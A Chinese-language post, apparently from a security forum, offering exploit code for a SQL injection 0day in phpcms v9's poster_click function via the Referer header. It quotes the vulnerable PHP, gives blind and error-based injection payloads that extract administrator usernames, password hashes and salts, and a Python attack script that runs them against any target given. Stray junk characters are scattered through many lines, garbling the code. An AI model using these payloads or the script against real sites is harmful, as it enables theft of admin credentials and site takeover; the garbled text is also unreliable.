phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( ^) w, ~7 U: I$r = $this->db->get_one(array('id'=>$id));
2 Z2 I# v9 o2 @: D* l# Kif (!is_array($r) && empty($r)) return false;
0 f% `( h3 V6 `1 Y' j$ip_area = pc_base::load_sys_class('ip_area');
# {6 B4 s1 @7 E& B8 u$ip = ip();
$area = $ip_area->get($ip);
4 ^5 M9 d5 T4 r: ^% _$username = param::get_cookie('username') ? param::get_cookie('username') : '';
) B% U; r4 V7 C, m# ~% gif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
: z6 j. C3 N( F' O% C7 M}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
" b# r2 w+ d, f+ N$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
8 o- e: k4 d. B$ o, s6 G2 h$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
+ F- m6 e& `+ f& E}
header('Location: '.$url);
0 f2 A% j3 [5 N# O7 y; A5 L1 H! M1 l}

( E# s% o9 t7 k/ u8 }2 z

7 m$ c2 z. d5 u4 F+ T- y  P1 K  m利用方式：

. F1 i# B' i$ m6 L" O* l1、可以采用盲注入的手法：

0 K2 `& d: C$ D8 }. L  Lreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

7 Z$ e5 w' f! u, [3 K; u  t通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
: g: E8 i/ y$ y& j4 T
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
6 S$ ^6 t, J2 L' K* q4 D, g
此方法是爆错注入手法，原理自查。


* `3 L; `/ C/ l% C+ G
利用程序:
7 B. v3 }4 E4 e0 ^0 P. a' I
#!/usr/bin/env python
8 y: n, |, ^* k9 cimport httplib,sys,re

# i2 j! Q! o9 m  u) H( Jdef attack():
print “Code by Pax.Mac Team conqu3r!”
+ n2 j4 X0 f) R* z; r9 K6 f( K: iprint “Welcome to our zone!!!”
- \3 Q: U) a6 T4 u- purl=sys.argv[1]
  t9 d( @* V% r8 \paths=sys.argv[2]
6 [  l' o1 S. q) i' {0 X2 p9 n1 {: jconn = httplib.HTTPConnection(url)
" |* p, I5 S0 i$ F* f1 S" D2 _i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
% }9 S' ?+ i0 q% zr1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
- G2 {2 `, r& L5 d6 U' Kprint datas[0]
- W1 `# q$ Z, K9 L. m2 ?9 E# oconn.close()
if __name__==”__main__”:
" I% p# y2 i- K7 ~- M1 iif len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
" @" R  N4 x- c0 F" z; rprint “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
# e; z3 h! [5 H2 u4 N! sprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
# `# U* T$ k" N4 o9 Asys.exit(1)
attack()
; L, E1 z0 ^) p